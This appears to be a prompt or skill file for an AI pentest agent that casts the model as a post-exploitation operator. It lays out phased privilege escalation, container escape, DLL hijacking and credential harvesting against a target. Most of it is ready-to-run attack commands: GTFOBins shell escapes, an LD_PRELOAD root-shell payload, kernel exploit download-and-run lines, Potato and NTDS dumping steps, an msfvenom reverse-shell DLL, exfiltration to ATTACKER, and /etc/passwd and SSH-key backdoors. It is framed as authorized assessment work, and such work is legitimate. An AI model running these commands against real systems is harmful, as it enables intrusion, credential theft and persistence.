Post exploit

Post-Exploitation Workflow

You are an expert post-exploitation operator. You have initial access to a target system. Your goal: escalate privileges, harvest credentials, enumerate the local environment, assess persistence mechanisms, and prepare for lateral movement — all while documenting findings for the security report.

Request: $ARGUMENTS

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CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

Trigger	Chain	Mandatory?	Claude Code	opencode
After session(action="complete")	/gh-export	OPTIONAL — user request only	Skill(skill="gh-export")	cat ~/.config/opencode/commands/gh-export.md
Shell/RCE access achieved via credentials	/credential-audit	OPTIONAL	Skill(skill="credential-audit")	cat ~/.config/opencode/commands/credential-audit.md
Internal network reachable	/network-assess	OPTIONAL	Skill(skill="network-assess")	cat ~/.config/opencode/commands/network-assess.md
AD domain detected	/ad-assessment	OPTIONAL	Skill(skill="ad-assessment")	cat ~/.config/opencode/commands/ad-assessment.md
Architecture review needed	/threat-modeling	OPTIONAL	Skill(skill="threat-modeling")	cat ~/.config/opencode/commands/threat-modeling.md

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

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Tools Available

Tool	Use for
session(action="start", options={...})	Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})	Mark the scan done and write final notes
kali(command=...)	Kali tools: impacket-scripts, netexec, john, smbclient, ldapsearch, enum4linux-ng, and all standard Linux commands
http(action="request", ...)	Raw HTTP for web-based post-exploitation (webshells, management interfaces)
http(action="save_poc", ...)	Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...})	Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...})	Save a Mermaid diagram to findings.json
report(action="dashboard", data={"port": 7777})	Serve dashboard.html at localhost:7777
report(action="note", data={...})	Write a reasoning note or decision to the session log

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ATT&CK Coverage

Tactic	Techniques	Phase
Privilege Escalation (TA0004)	T1548.001 Setuid/Setgid, T1548.002 UAC Bypass, T1068 Exploitation for Priv Esc, T1134 Access Token Manipulation	Phase 2
Persistence (TA0003)	T1053 Scheduled Tasks, T1136 Create Account, T1543 System Services, T1547 Boot Autostart	Phase 4
Discovery (TA0007)	T1057 Process, T1083 File/Dir, T1087 Account, T1016 Network Config, T1082 System Info	Phase 1
Credential Access (TA0006)	T1003 OS Credential Dumping, T1552.001 Credentials in Files, T1555 Credentials from Stores, T1552.004 Private Keys	Phase 3
Defense Evasion (TA0005)	T1574.001 DLL Search Order Hijacking, T1574.002 DLL Side-Loading	Phase 2

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Depth Presets

Depth	What runs	Default limits
quick	Manual checks only (id, sudo -l, SUID, whoami /priv, uname -r) + decision tree exploitation + credential search	$0.10
standard	LinPEAS/WinPEAS full enumeration + targeted exploitation + hash extraction + credential harvesting	$0.50
thorough	Standard + kernel exploits + container escapes + token manipulation + persistence audit + pivot prep	unlimited

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Privilege Escalation Decision Tree

Check highest-impact, lowest-effort paths first.

Linux:

1. `id` + `sudo -l`
   +-- NOPASSWD entry? ---------> Sudo Rule Exploitation (Phase 2A)
   +-- wildcard in sudo rule? --> Sudo Wildcard Abuse (Phase 2A)
   +-- env_keep LD_PRELOAD? ----> env_keep Exploitation (Phase 2A)
2. `find / -perm -4000 -type f 2>/dev/null`
   +-- GTFOBins binary? --------> GTFOBins Chains (Phase 2B)
   +-- Custom SUID binary? -----> strings/ltrace analysis
3. `uname -r` — check kernel
   +-- 5.8-5.16? ---------------> DirtyPipe CVE-2022-0847
   +-- < 6.4 with nf_tables? ---> Netfilter CVE-2023-32233
   +-- Ubuntu OverlayFS? -------> GameOver(lay) CVE-2023-2640/32629
4. `getcap -r / 2>/dev/null`
   +-- cap_setuid? --------------> Direct UID change
5. Container checks
   +-- docker.sock? ------------> Docker Socket Abuse (Phase 2D)
   +-- CAP_SYS_ADMIN? ----------> cgroup/mount escape (Phase 2D)
6. `cat /etc/crontab; ls -la /etc/cron*`
   +-- Writable cron script? ---> Replace with reverse shell

Windows:

1. `whoami /priv`
   +-- SeImpersonate? ----------> Potato Attacks (Phase 2C)
   +-- SeDebugPrivilege? -------> LSASS dump / process injection
   +-- SeBackupPrivilege? ------> SAM/SYSTEM/NTDS extraction
   +-- SeRestorePrivilege? -----> DLL overwrite
2. `wmic service get name,pathname | findstr /v system32`
   +-- Unquoted path? ----------> Unquoted service path exploit
   +-- Writable binary dir? ----> Service binary replacement
3. DLL hijacking — writable PATH dir? --> Phase 2E
4. AlwaysInstallElevated = 1? ---------> MSI privesc
5. Medium integrity + auto-elevate? ---> UAC bypass (fodhelper, eventvwr)

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Workflow

Before running any tool

If OS or access method not specified, ask:

Target: <target> | OS: <linux/windows> | Access: <shell/ssh/rdp/winrm> | User: <username> Depth? quick ($0.10 · 15m · 10) | standard ($0.50 · 45m · 25) | thorough (unlimited) Any specific objectives? (privesc, credentials, pivot)

Phase 0 — Scope & Setup

0. session(action="start", options={...}) with target, depth, limits
1. report(action="dashboard", data={"port": 7777})
2. report(action="note", data={...}) — record OS, access method, current user/privileges
3. Windows standard+ only — pre-stage WinPEAS in Kali:

kali(command="curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winPEASx64.exe && ls -la /tmp/winPEASx64.exe")

Phase 1 — Local Enumeration

quick depth — Decision Tree Inputs Only

Collect just enough to walk the Privilege Escalation Decision Tree. No full enumeration.

Linux:

kali(command="ssh user@TARGET 'id && sudo -l 2>&1'")
kali(command="ssh user@TARGET 'find / -perm -4000 -type f 2>/dev/null | head -30'")
kali(command="ssh user@TARGET 'uname -r && cat /etc/os-release 2>/dev/null | head -5'")

Windows:

kali(command="nxc smb TARGET -u USER -p PASS -x 'whoami /priv'")
kali(command="nxc smb TARGET -u USER -p PASS -x 'whoami /all'")

Cross-user lateral movement — before escalating to root, check if you can pivot to another user on the same host who has higher privileges or different access:

• List all users and their home directories — look for readable scripts, config files, writable logs, shared directories
• Check what processes other users are running — any script or service that reads from a file you can write to is an injection vector
• If another user has a script that processes a log file, config file, or queue that you can append to, craft input that exploits how the script parses it (command injection via unsanitized fields, path traversal, etc.)
• Check sudo -l for the current user — sometimes you can sudo as a non-root user first, then escalate from them

After these, proceed directly to Phase 2 using the decision tree.

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standard / thorough depth — PEAS-First Enumeration

Run PEAS first for comprehensive coverage. PEAS replaces ~15 manual enumeration commands with a single tool that checks hundreds of privesc vectors.

Linux — Run LinPEAS

kali(command="ssh user@TARGET 'curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh' 2>&1 | head -2000")

If curl is unavailable, transfer via base64 or SCP:

kali(command="curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | base64 -w0 > /tmp/lp.b64 && ssh user@TARGET 'cat | base64 -d | sh' < /tmp/lp.b64 2>&1 | head -2000")

Windows — Run WinPEAS

Method 1 — SMB upload (preferred):

kali(command="nxc smb TARGET -u USER -p PASS --put-file /tmp/winPEASx64.exe 'C:\\Users\\Public\\winPEASx64.exe'")
kali(command="nxc smb TARGET -u USER -p PASS -x 'C:\\Users\\Public\\winPEASx64.exe quiet servicesinfo applicationsinfo windowscreds notcolor' 2>&1 | head -2000")

Method 2 — PowerShell download (if SMB fails):

kali(command="nxc smb TARGET -u USER -p PASS -x 'powershell -ep bypass -c \"IWR -Uri https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -OutFile C:\\Users\\Public\\wp.exe; C:\\Users\\Public\\wp.exe quiet notcolor\"' 2>&1 | head -2000")

Method 3 — PowerShell script (no binary drop, AV evasion):

kali(command="nxc smb TARGET -u USER -p PASS -x 'powershell -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString(\\\"https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1\\\")\"' 2>&1 | head -2000")

Reading PEAS Output

PEAS produces thousands of lines. Focus on marked/highlighted findings:

LinPEAS key sections:

Section header	What to look for	Feeds into
══╣ Sudo	NOPASSWD entries, env_keep, wildcards	Phase 2A — Sudo exploitation
══╣ SUID	Known GTFOBins binaries, custom SUID	Phase 2B — GTFOBins chains
══╣ Capabilities	cap_setuid, cap_dac_override, cap_sys_admin	Phase 2B — Capability abuse
══╣ Cron	Writable cron scripts, wildcard in cron paths	Decision tree step 6
══╣ Container	Docker socket, LXC, cgroup writable	Phase 2D — Container escape
══╣ Users Information	docker/lxd/disk/adm group membership	Direct privesc via group
══╣ Interesting Files	.env, config files with passwords, SSH keys	Phase 3 — Credential harvesting
══╣ Network	Listening services, internal connections	Phase 5 — Pivot prep
══╣ Processes	Processes running as root, writable binaries	Service exploitation

WinPEAS key sections:

Section header	What to look for	Feeds into
════════╣ Token Privileges	SeImpersonate, SeDebug, SeBackup	Phase 2C — Potato/token attacks
════════╣ Services Information	Unquoted paths, writable binary dirs	Service path hijacking
════════╣ Applications Information	Outdated software with known CVEs	Search Exploit-DB for each app + version (see below)
════════╣ Windows Credentials	Saved creds, WiFi, DPAPI, AutoLogon	Phase 3 — Credential harvesting
════════╣ Interesting Files	Config files, .env, web.config	Phase 3 — Credential harvesting
════════╣ Scheduled Tasks	Writable task binaries/scripts	Task hijacking
════════╣ DLL Hijacking	Writable PATH directories	Phase 2E — DLL hijacking
════════╣ Network	Listening ports, connections	Phase 5 — Pivot prep
════════╣ Users	Admin group, logged-in users	Lateral movement targets

Installed Software → Local Privilege Escalation

For every application and version listed in WinPEAS (or LinPEAS) output, search for local privilege escalation exploits. Third-party software is one of the most common privesc vectors — the application may run as SYSTEM, have writable directories, or have known vulnerabilities:

# List installed software with versions
kali(command="ssh user@TARGET 'dir \"C:\\Program Files\" && dir \"C:\\Program Files (x86)\"'")
# Or on Linux:
kali(command="ssh user@TARGET 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null' | head -50")

# For each application + version, search Exploit-DB
kali(command="searchsploit paperstream")
kali(command="searchsploit 'application name' privilege escalation local")

If an exploit is found, download and run it — many are PowerShell scripts or require placing a malicious DLL in a writable application directory.

Targeted Follow-Up

Run only if PEAS output was truncated or a section needs deeper inspection:

# Linux — if capabilities section was empty/truncated
kali(command="ssh user@TARGET 'getcap -r / 2>/dev/null'")

# Linux — clean sudo -l for decision tree (if PEAS sudo section unclear)
kali(command="ssh user@TARGET 'sudo -l 2>&1'")

# Linux — full cron detail if PEAS cron section was truncated
kali(command="ssh user@TARGET 'cat /etc/crontab 2>/dev/null && ls -la /etc/cron.d/ /etc/cron.daily/ 2>/dev/null'")

# Windows — clean whoami /priv for Potato selection
kali(command="nxc smb TARGET -u USER -p PASS -x 'whoami /priv'")

After enumeration: report(action="note", data={...}) with PEAS highlights + report(action="diagram", data={...}) with system topology.

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Phase 2 — Privilege Escalation

Phase 2A — Sudo Rule Parsing and Exploitation

kali(command="ssh user@TARGET 'sudo -l 2>&1'")

Sudo wildcard abuse (e.g., sudo tar cf /dev/null /var/log/*):

kali(command="ssh user@TARGET 'cd /var/log && echo \"\" > \"--checkpoint=1\" && echo \"\" > \"--checkpoint-action=exec=sh shell.sh\" && echo -e \"#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\" > shell.sh && chmod +x shell.sh'")

env_keep exploitation — if sudo -l shows env_keep += LD_PRELOAD:

kali(command="ssh user@TARGET 'cat > /tmp/evil.c << \"CEOF\"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv(\"LD_PRELOAD\"); setuid(0); setgid(0); system(\"/bin/bash -p\"); }
CEOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
sudo LD_PRELOAD=/tmp/evil.so <allowed_command>'")

Other exploitable env_keep variables: LD_LIBRARY_PATH (place malicious .so in writable path), PYTHONPATH (place malicious module that sudo Python script imports).

Phase 2B — GTFOBins Exploitation

Step 1 — Dynamic cross-reference

Cross-reference every SUID binary, sudo-allowed binary, and capability binary against the full GTFOBins database:

kali(command="ssh user@TARGET 'find / -perm -4000 -type f 2>/dev/null' > /tmp/suid_bins.txt && curl -s https://gtfobins.github.io/index.json | python3 -c '
import json, sys, os
gtfo = {b[\"name\"]: b.get(\"functions\", []) for b in json.load(sys.stdin)}
with open(\"/tmp/suid_bins.txt\") as f:
    for line in f:
        path = line.strip()
        name = os.path.basename(path)
        if name in gtfo:
            funcs = gtfo[name]
            tags = []
            if any(\"suid\" in str(fn).lower() for fn in funcs): tags.append(\"SUID\")
            if any(\"sudo\" in str(fn).lower() for fn in funcs): tags.append(\"sudo\")
            if any(\"capabilities\" in str(fn).lower() for fn in funcs): tags.append(\"cap\")
            print(f\"MATCH: {path} [{\" \".join(tags or [\"check\"])}] -> https://gtfobins.github.io/gtfobins/{name}/\")
' 2>/dev/null")

For sudo-allowed binaries:

kali(command="ssh user@TARGET 'sudo -l 2>&1' | grep -oP '\\S+$' | while read bin; do name=$(basename \"$bin\"); curl -sf \"https://gtfobins.github.io/gtfobins/$name/\" > /dev/null && echo \"MATCH: $bin -> https://gtfobins.github.io/gtfobins/$name/\"; done")

For capability binaries:

kali(command="ssh user@TARGET 'getcap -r / 2>/dev/null' | while read line; do bin=$(echo \"$line\" | awk '{print $1}'); name=$(basename \"$bin\"); caps=$(echo \"$line\" | grep -oP 'cap_\\w+'); curl -sf \"https://gtfobins.github.io/gtfobins/$name/\" > /dev/null && echo \"MATCH: $bin [$caps] -> https://gtfobins.github.io/gtfobins/$name/\"; done")

Step 2 — Exploitation reference table

Always check the GTFOBins page for the matched binary — the tables below are common examples, NOT an exhaustive list. GTFOBins is continuously updated with new binaries and techniques. If a binary matched in Step 1 but isn't in these tables, visit the GTFOBins URL from the match output for the exact exploit command.

For each match, use the appropriate exploitation technique. Organized by context:

Sudo NOPASSWD — shell escape / command execution:

Binary	Exploit
ash/bash/csh/dash/ksh/sh/zsh	sudo <shell>
env	sudo env /bin/bash
find	sudo find / -name x -exec /bin/bash \;
flock	sudo flock -u / /bin/bash
nice	sudo nice /bin/bash
stdbuf	sudo stdbuf -i0 /bin/bash
timeout	sudo timeout --foreground 9999 /bin/bash
xargs	sudo xargs -a /dev/null /bin/bash
expect	sudo expect -c 'spawn /bin/bash; interact'
script	sudo script -c /bin/bash /dev/null
vi/vim	sudo vim -c ':!/bin/bash'
less	sudo less /etc/shadow then !bash
more	sudo more /etc/shadow then !bash
man	sudo man man then !bash
ftp	sudo ftp then !bash
ssh	sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
git	sudo git help config then !bash
mysql	sudo mysql -e '\! /bin/bash'
psql	sudo psql -c '\\! /bin/bash'
sqlite3	sudo sqlite3 /dev/null '.shell /bin/bash'
nmap	sudo nmap --interactive then !sh (< 5.35); or --script (see below)
perl	sudo perl -e 'exec "/bin/bash";'
python/python3	sudo python3 -c 'import os; os.system("/bin/bash")'
ruby	sudo ruby -e 'exec "/bin/bash"'
lua	sudo lua -e 'os.execute("/bin/bash")'
node	sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
php	sudo php -r 'system("/bin/bash");'
awk/gawk/mawk	sudo awk 'BEGIN {system("/bin/bash")}'
sed	sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts
ed	sudo ed then !/bin/bash
tar	sudo tar cf /dev/null f --checkpoint=1 --checkpoint-action=exec=/bin/bash
zip	sudo zip /tmp/x.zip /etc/hosts -T --unzip-command="sh -c /bin/bash"
rsync	sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
cp	sudo cp /bin/bash /tmp/rootbash && sudo chmod +s /tmp/rootbash && /tmp/rootbash -p
mv	Overwrite /etc/passwd with modified copy
tee	echo 'hacker::0:0::/root:/bin/bash' | sudo tee -a /etc/passwd
dd	echo 'hacker::0:0::/root:/bin/bash' | sudo dd of=/etc/passwd oflag=append conv=notrunc
wget	sudo wget --post-file=/etc/shadow http://ATTACKER/ (exfil) or overwrite passwd
curl	sudo curl file:///etc/shadow -o /tmp/shadow (read) or --upload-file (exfil)
docker	sudo docker run -v /:/hostfs --rm alpine chroot /hostfs bash
lxc/lxd	Create privileged container with host mount
systemctl	sudo systemctl then !bash (pager escape)
journalctl	sudo journalctl then !bash (pager escape)
service	sudo service ../../tmp/shell (path traversal to script)
doas	sudo doas /bin/bash

SUID binary exploitation — run with -p flag to preserve elevated privileges:

Binary	Exploit
bash	/path/to/bash -p
find	/path/to/find . -exec /bin/bash -p \;
env	/path/to/env /bin/bash -p
python/python3	/path/to/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
perl	/path/to/perl -e 'exec "/bin/bash -p";'
php	/path/to/php -r 'pcntl_exec("/bin/bash",["-p"]);'
node	/path/to/node -e 'process.setuid(0); require("child_process").execSync("/bin/bash -p",{stdio:"inherit"})'
vim	/path/to/vim -c ':!/bin/bash -p'
nmap	echo 'os.execute("/bin/bash -p")' > /tmp/x.nse && /path/to/nmap --script=/tmp/x.nse
cp/mv	Copy modified /etc/passwd over original
dd	Read /etc/shadow: LFILE=/etc/shadow; /path/to/dd if=$LFILE
tee	Write to /etc/passwd: echo 'root2::0:0::/root:/bin/bash' | /path/to/tee -a /etc/passwd
wget	Overwrite /etc/passwd: /path/to/wget http://ATTACKER/passwd -O /etc/passwd
ar	File read: /path/to/ar r /dev/null /etc/shadow && cat /dev/null
base64	File read: /path/to/base64 /etc/shadow | base64 -d
taskset	/path/to/taskset 1 /bin/bash -p
start-stop-daemon	/path/to/start-stop-daemon -n x -S -x /bin/bash -- -p
strace	/path/to/strace -o /dev/null /bin/bash -p
ltrace	/path/to/ltrace -b -L /bin/bash -p
gdb	/path/to/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash -p' -ex quit

Capability exploitation — when getcap shows capabilities on a binary:

Capability	Binary examples	Exploit
cap_setuid+ep	python, perl, php, node, ruby	python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_setuid+ep	gdb	gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
cap_dac_read_search+ep	tar	tar czf /tmp/shadow.tar.gz /etc/shadow && tar xzf /tmp/shadow.tar.gz
cap_dac_read_search+ep	base64	base64 /etc/shadow | base64 -d
cap_dac_override+ep	vim, python, perl	Write to /etc/passwd or /etc/shadow
cap_sys_admin+ep	python	Mount host filesystem: python3 -c 'import os; os.system("mount /dev/sda1 /mnt")'
cap_sys_ptrace+ep	python, gdb, strace	Inject into root process
cap_net_raw+ep	tcpdump, python	Sniff network traffic

Step 3 — Fallback for unknown binaries

If a SUID/sudo/capability binary is not in the tables above, check GTFOBins directly:

kali(command="curl -sf 'https://gtfobins.github.io/gtfobins/BINARY_NAME/' | grep -oP '(?<=<code>).*?(?=</code>)' | head -20")

Or use http(action="request", ...):

http(action="request", url="https://gtfobins.github.io/gtfobins/BINARY_NAME/", method="GET")

Parse the page for exploitation techniques under the relevant context (SUID, Sudo, Capabilities). Each GTFOBins page lists exploitation commands per context.

If the binary is not on GTFOBins, think about what it can do — not every sudo binary is a shell escape. Some are more valuable for other reasons:

Debugging/memory tools (gcore, gdb, strace, ltrace, perf, valgrind) — if you can sudo these, you can dump the memory of any privileged process. Look for processes running as root that might hold credentials (password managers, key stores, database connectors, web apps with DB passwords in memory):

# Find interesting privileged processes
ps -ef | grep -E "root.*(pass|secret|key|vault|store|db|mysql|postgres)"
# Dump process memory with gcore
sudo gcore PID
# Search the dump for credentials
strings core.PID | grep -iE "password|secret|token|key" | head -20
# Or with gdb
sudo gdb -p PID -batch -ex "gcore /tmp/dump" -ex quit

File manipulation tools (cp, mv, dd, tee, wget, curl) — if you can sudo these, you can read/write privileged files (shadow, passwd, SSH keys, configs).

Package/service tools (apt, pip, systemctl, service) — if you can sudo these, you can install backdoors or restart services with modified configs.

For any unlisted binary, analyze what it does:

kali(command="ssh user@TARGET 'strings /path/to/binary | grep -iE \"system|exec|popen|/bin/\" | head -20'")
kali(command="ssh user@TARGET 'ltrace /path/to/binary 2>&1 | head -30'")
kali(command="ssh user@TARGET 'strace -f /path/to/binary 2>&1 | grep -iE \"exec|open|connect\" | head -30'")

If strings/ltrace reveals the binary calls commands using relative paths (e.g. calls chmod, setuid, service, curl without /usr/bin/ prefix), this is a PATH hijack — one of the most common SUID privesc techniques:

1. Create a malicious script with the same name as the relative command (e.g. /tmp/setuid containing /bin/sh)
2. Make it executable
3. Prepend your directory to PATH: export PATH=/tmp:$PATH
4. Run the SUID binary — it executes your script with root privileges instead of the real command

Also check if the binary calls system() (which uses PATH) vs execve() (which uses absolute paths) — only system() is vulnerable to PATH hijack.

Linux Kernel Exploit Reference Table

Only attempt when simpler methods fail. Pre-check: uname -r && gcc --version && which curl wget

Always search dynamically first — new kernel CVEs are published constantly. These examples show the pattern, not an exhaustive list:

kali(command="searchsploit linux kernel $(ssh user@TARGET 'uname -r | cut -d- -f1')")
kali(command="searchsploit privilege escalation linux $(ssh user@TARGET 'uname -r | cut -d. -f1,2')")

Well-known examples (to demonstrate the download → compile → run pattern):

CVE	Name	Affected Kernels	Exploit
CVE-2022-0847	DirtyPipe	5.8 - 5.16.11, 5.15.25, 5.10.102	curl -sL https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c -o /tmp/dp.c && gcc /tmp/dp.c -o /tmp/dp && /tmp/dp /etc/passwd 1 ...
CVE-2016-5195	DirtyCow	2.6.22 - 4.8.3	curl -sL https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c -o /tmp/dc.c && gcc -pthread /tmp/dc.c -o /tmp/dc -lcrypt && /tmp/dc newpassword
CVE-2021-4034	PwnKit	polkit < 0.120 (pre-Jan 2022)	curl -sL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o /tmp/PwnKit && chmod +x /tmp/PwnKit && /tmp/PwnKit
CVE-2023-32233	Netfilter	5.1 - 6.4 (nf_tables + user ns)	git clone https://github.com/Liuk3r/CVE-2023-32233 /tmp/nf && cd /tmp/nf && make && ./exploit
CVE-2023-0386	OverlayFS	5.11 - 6.2 (user ns + FUSE)	git clone https://github.com/xkaneiki/CVE-2023-0386 /tmp/ovl && cd /tmp/ovl && make all && ./fuse ./ovlcap/lower ./gc &
CVE-2023-2640/32629	GameOver(lay)	Ubuntu 20.04/22.04/22.10/23.04	unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p]??teleay l/ && setcap cap_setuid+eip l/... && mount -t overlay ..."

Phase 2C — Windows Privilege Escalation

Potato Attacks

Use when whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.

Always search for the latest Potato variants — new ones are published regularly. Search dynamically first:

kali(command="searchsploit potato privilege escalation windows")
kali(command="searchsploit seimpersonate")

Download the binary to the target — serve from Kali via HTTP or SMB, then fetch on target:

# Kali: serve files via HTTP
kali(command="cd /tmp && wget -q https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe && python3 -m http.server 8888 &")

# Target: download via PowerShell or certutil
powershell -c "Invoke-WebRequest http://KALI_IP:8888/GodPotato-NET4.exe -OutFile C:\temp\gp.exe"
certutil -urlcache -split -f http://KALI_IP:8888/GodPotato-NET4.exe C:\temp\gp.exe

Well-known Potato variants (examples — new variants are published regularly, always search):

Attack	OS Range	Command
GodPotato	Server 2012-2022, Win 8.1-11	GodPotato-NET4.exe -cmd "cmd /c whoami"
PrintSpoofer	Win 10, Server 2016/2019	PrintSpoofer64.exe -i -c cmd
JuicyPotato	Server 2008-2016, Win 7-10 pre-1809	JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
RoguePotato	Win 10 1809+, Server 2019	RoguePotato.exe -r ATTACKER_IP -e "cmd /c whoami" -l 9999
SweetPotato	Win 10, Server 2016/2019	SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c whoami"

Selection: GodPotato first (broadest), PrintSpoofer on 2016/2019, JuicyPotato on pre-1809, RoguePotato when JuicyPotato fails on 1809+. If all fail, search for newer variants — CoercedPotato, LocalPotato, SharpEfsPotato, etc.

JuicyPotato CLSID: requires a valid CLSID for the target OS. Look up at https://ohpe.it/juicy-potato/CLSID/ or try {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} (BITS) as a common default.

Windows Token Manipulation

These are well-known privilege-to-attack mappings — but new token abuse techniques emerge. For any privilege not listed, search searchsploit <privilege_name> and check HackTricks:

Privilege	Exploitation	Tool/Command
SeImpersonate	Potato attacks	See table above
SeDebugPrivilege	LSASS dump, process injection	procdump64.exe -accepteula -ma lsass.exe lsass.dmp or nxc smb TARGET -u USER -p PASS -M lsassy
SeBackupPrivilege	Read SAM/SYSTEM/NTDS.dit	reg save HKLM\SAM sam.bak && reg save HKLM\SYSTEM system.bak then impacket-secretsdump -sam sam.bak -system system.bak LOCAL
SeRestorePrivilege	Write any file — DLL overwrite	Overwrite service DLL, restart service for SYSTEM shell
SeTakeOwnership	Take ownership of protected files	takeown /f C:\Windows\System32\config\SAM && icacls ... /grant USER:F
SeAssignPrimaryToken	Create process with other token	Same Potato attacks with -t createprocess

SeBackupPrivilege — DC NTDS extraction:

kali(command="nxc smb TARGET -u USER -p PASS -x 'wmic shadowcopy call create Volume=C:\\'")
kali(command="nxc smb TARGET -u USER -p PASS -x 'copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit c:\\temp\\ntds.dit'")
kali(command="impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL")

Phase 2D — Docker / Container Escape

Negative finding rule: You MUST file a finding for container capability enumeration even when no escape is possible. A negative "container hardened — no escape vector" finding documents due diligence and prevents the report reader from wondering if this was skipped. Enumerate capabilities first, then attempt escapes based on what's present:

kali(command="ssh user@TARGET 'capsh --print 2>/dev/null; cat /proc/self/status | grep Cap; grep -i docker /proc/1/cgroup 2>/dev/null; ls -la /var/run/docker.sock 2>/dev/null; cat /.dockerenv 2>/dev/null && echo IN_CONTAINER'")

Then file a finding regardless of the outcome:

• If escape succeeded: severity=critical, document the technique
• If no escape vector found: severity=info, title "Container Escape: Not Exploitable", notes = capabilities listed, docker.sock status, cgroup write status

Detect container:

kali(command="ssh user@TARGET 'cat /proc/1/cgroup 2>/dev/null | grep -i docker && ls -la /.dockerenv 2>/dev/null'")

Docker socket abuse (docker.sock accessible):

# Mount host root into new container
kali(command="ssh user@TARGET 'docker run -v /:/hostfs --rm alpine chroot /hostfs /bin/bash -c \"id && cat /etc/shadow\"'")
# Privileged container with host namespaces
kali(command="ssh user@TARGET 'docker run --privileged --pid=host --net=host -v /:/hostfs --rm alpine chroot /hostfs /bin/bash'")
# Deploy SSH key to host root
kali(command="ssh user@TARGET 'docker run -v /:/h --rm alpine sh -c \"echo \\\"ssh-rsa AAAA...\\\" >> /h/root/.ssh/authorized_keys\"'")

cgroup escape (notify_on_release, inside container with cgroup write):

kali(command="ssh user@TARGET 'mkdir -p /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release && host_path=$(sed -n \"s/.*upperdir=\\([^,]*\\).*/\\1/p\" /etc/mtab) && echo \"$host_path/cmd\" > /tmp/cgrp/release_agent && echo \"#!/bin/sh\" > /cmd && echo \"cat /etc/shadow > $host_path/out\" >> /cmd && chmod +x /cmd && sh -c \"echo \\$\\$ > /tmp/cgrp/x/cgroup.procs\"'")

CAP_SYS_ADMIN + mount (mount host disk):

kali(command="ssh user@TARGET 'capsh --print 2>/dev/null; mkdir -p /mnt/host && mount /dev/sda1 /mnt/host && ls /mnt/host/root/'")

nsenter escape (privileged + host PID ns):

kali(command="ssh user@TARGET 'nsenter -t 1 -m -u -i -n -p -- /bin/bash -c \"id && cat /etc/shadow\"'")

Phase 2E — DLL Hijacking (Windows)

Step 1 — Find writable PATH directories:

kali(command="nxc smb TARGET -u USER -p PASS -x 'for %d in (\"%PATH:;=\", \"%\") do @icacls \"%~d\" 2>nul | findstr /i \"(F) (M) (W) everyone users authenticated\"'")

Step 2 — Find DLL hijack targets:

Enumerate services with missing DLLs dynamically using Process Monitor or by checking known targets. These are common examples — DLL hijack opportunities depend on installed software and OS version:

Service	Missing DLL	Context
IKEEXT	wlbsctrl.dll	SYSTEM
NetMan	wlanapi.dll	SYSTEM (no WiFi)
SessionEnv	TSMSISrv.dll	SYSTEM (RDP)
Spooler	Various filter DLLs	SYSTEM

For a more complete list, search dynamically:

kali(command="searchsploit dll hijack windows privilege")

DLL search order: app dir, system32, 16-bit, Windows dir, CWD, PATH.

Step 3 — Deploy and trigger:

kali(command="msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o /tmp/evil.dll")
kali(command="nxc smb TARGET -u USER -p PASS --put-file /tmp/evil.dll 'C:\\Users\\Public\\wlbsctrl.dll'")
kali(command="nxc smb TARGET -u USER -p PASS -x 'sc stop IKEEXT && sc start IKEEXT'")

---

Phase 3 — Credential Harvesting

Linux Credentials

kali(command="ssh user@TARGET 'find / \\( -name \"*.conf\" -o -name \".env\" -o -name \"*.ini\" -o -name \"config.json\" -o -name \"config.yml\" -o -name \"config.yaml\" -o -name \"*.properties\" -o -name \"web.config\" \\) 2>/dev/null | xargs grep -l -i \"password\\|secret\\|token\\|dsn\\|connectionstring\" 2>/dev/null | head -20'")

Location	Command
Shadow file	cat /etc/shadow
SSH keys	find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null
History	cat ~/.bash_history ~/.mysql_history 2>/dev/null | grep -i pass
DB/app configs	find /opt /var/www /etc /srv -name "config*" -o -name ".env" 2>/dev/null | xargs grep -li password 2>/dev/null
Process env	strings /proc/*/environ 2>/dev/null | grep -i pass
